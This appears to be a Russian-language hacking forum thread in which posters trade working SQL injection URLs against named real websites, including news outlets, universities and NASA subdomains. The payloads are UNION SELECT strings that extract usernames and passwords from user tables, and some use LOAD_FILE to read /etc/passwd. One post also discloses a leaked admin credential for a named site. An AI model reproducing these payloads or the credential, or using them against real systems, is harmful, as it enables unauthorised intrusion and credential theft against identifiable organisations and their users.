SQL Инъекции

http://washingtontimes.com/functions/email.php?StoryID='
Пример :
'%20union%20all%20select%20top%20800%20UserID,1%20from%20Insider_Users--
'%20union%20all%20select%20top%20800%20password,1%20from%20Insider_Users--

 

http://www.globalsat.su/news.php?n_id=-1+union+select+1,2,3,4,5,222,7/*

http://www.export.by/rus/news2.php?action=archive&from=130&cat_id=-1+union+select+1,2,22,user,password,6,7,8,9,10+from+mysql.user/*

http://www.know-house.ru/card_firm.php?n_id=12'

 

http://www.emic.ee/page.php?id=55555%20union%20select%201,2,3,4,5,6,VERSION(),8,9,DATABASE(),11,12,13,14,15/*--

 

http://www.latek.com.ua/index.php?page=produkt.php&subcat=-1+union+select+1,1,55,66,6,concat(log,char(58),pas),3,8+from+user+limit+0,11/*

http://www.vigvam.ru/index.php?chp=anec_full&id=-1+union+select+database()/*

http://www.vengria.com/index.php?page=statji&Id_s=-1+union+select+1,2,3,4,user_name,user_pass,7,8,9,10,11,12,13+from+users+limit+0,1/*

http://www.skysharks.ru/index.php?page=news&id=-1+union+select+1,concat(email,password),username,4,5,6,7+from+user/*

http://www.in-sports.ru/index.php?page=news&nid=-1+union+select+1,2,3,4,5/*

Портал Киберспорта )
http://www.trutnee.com/index.php?page=1&id=-1+union+select+1,2,3,login,5,6,password,8+from+users+limit+0,1/*

 

не смог подобрать нужную кодировку =\

 

MichaelPollan.com

Code:

http://www.michaelpollan.com/article.php?id=-1+union+select+1,user(),version(),4,5,6,database(),8,9,10/*

KeckObservatory.org

Code:

http://www.keckobservatory.org/article.php?id=-1+union+select+1,2,3,4,5,6,7,8/*

BlogsForLearning.msu.edu

Code:

http://blogsforlearning.msu.edu/articles/view.php?id=-1+union+select+1,2,3,4,5,6,7,8,9/*

Code:

http://www.c82.net/article.php?ID=1'
http://www.uua.org/uuawo/new/article.php?id=-1'
http://www.soaw.org/new/article.php?id=-1'

нельзя инклуды, шеллы =\

 

http://www.02.ru/news/index.php?id_tn='02'

 

http://www.ifmo.ru/sr/?out=person&id=75'%20union%20select%201,2,3,4,5,6,7/*

 

http://www.keckobservatory.org/article.php?id=-1+union+select+1,LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),3,4,5,6,7,8/*

 

Code:

http://www.fgb.ge/index.php?lang_id=ENG&sec_id=10050+union+select+1,2,3,4,5,6,concat(editor_userneme,0x3a,editor_pwd)+from+editors/*

Code:

http://www.fgb.ge/admin

admin:itdc1526

 

Code:

http://www.brandonsun.com/story.php?story_id=-1+union+select+password,2,user,4,5,6,7,8,9,10+from+mysql.user/*

Code:

http://art.stanford.edu/bio.php?name_id=-1+union+select+1,2,3,4,version(),user,7,8,9,10,11,12,13,14,15,password,17,18,19+from+mysql.user/*

Code:

http://www.magic-productions.fr/games_details.php?game_id=-1+union+select+1,2,3,4,version(),6,7,8,9/*

Code:

http://www.trackandfieldnews.com/lists/display_list.php?list_id=-1+union+select+1,user(),3,version(),5,6/*

Code:

http://www.jacksonholenews.com/article.php?art_id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

Code:

http://rfe.org/showCat.php?cat_id=-1+union+select+1,2,3,4,5,6,7,8/*

 

моя первая инъекция!!!

1 столбец

http://www.mtas.ru/second.php?ID=-1+union+select+1/*

 

и ещёёёё +)

http://www.linfield.edu/humanresources/detail.php?id=-1+union+select+1,2,3,4,5,6,7,8/*

http://www.cpd.usu.edu/division.php?id=-99+union+select+1,2,3,4,5,6,7,8,9,10/*

http://experts.uchicago.edu/experts.php?id=459+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42/*

 

=)

 

http://experts.uchicago.edu/experts.php?id=459+union+select+1,2,3,4,5,6,7,8,9,%2010,11,12,LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),14,15,16,17,18,19,20,21,22,23,24,25,26%20,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42/*

/etc/passwd

snak3.h17.ru/tools - тут меняем кодироФФку(char etc)

 

crb02.gsfc.nasa.gov

http://crb02.gsfc.nasa.gov/personnel/viewperson.php?id=4'+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3/*

www.ueet.nasa.gov

http://www.ueet.nasa.gov/toi/viewtoi.php?id=-1+union+select+1,2,3,4,5,6,7,8/*

human-factors.arc.nasa.gov

http://human-factors.arc.nasa.gov/ihh/web/accomplishments/news/news_item.php?id=-1+union+select+1,2,3,4,5,password,7,8+from+user/*

 

даа, на насе вообще туева хуча скулей =\

 

NSKFitness.ru

http://www.nskfitness.ru/articles.php?cat_id=-1+union+select+1,2,user(),version(),5,database(),7,8,9,10,11/*

 

http://stat.euv-ffo.de/cgi-bin/scripts/user/user_view/user_profile.php?user_id=-5%20union%20select%201,2,3,4,5,6,7,8,9,0,11,22,33,44,55,66,77,88%20from%20users/*

http://www.kinoman.net/index.php?page=disco&s=album&id=-18%20union%20select%201,2,3/*

http://www.transformersfanfic.com/index.php?view=PublicSubmission%2FRateList&submission_id=-1%20union%20select%201,2,3,4,5,6,7,8,9,0/*

http://www.three-rings.com/gorytunes/smooves.php?user_id=-5%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8/*

http://www.eco-housing.org/eco/print.php?type_id=-20%20union%20select%201,2,3,4,5,6,7%20from%20user/*&type=news

 

http://www.deltasigmacorp.com/version2/category.php?id=-1+union+select+1,2,3/*


там названия таблиц же есть и столбцы уже есть) че не вывел ан примере) хотя там стоющего ничего нет)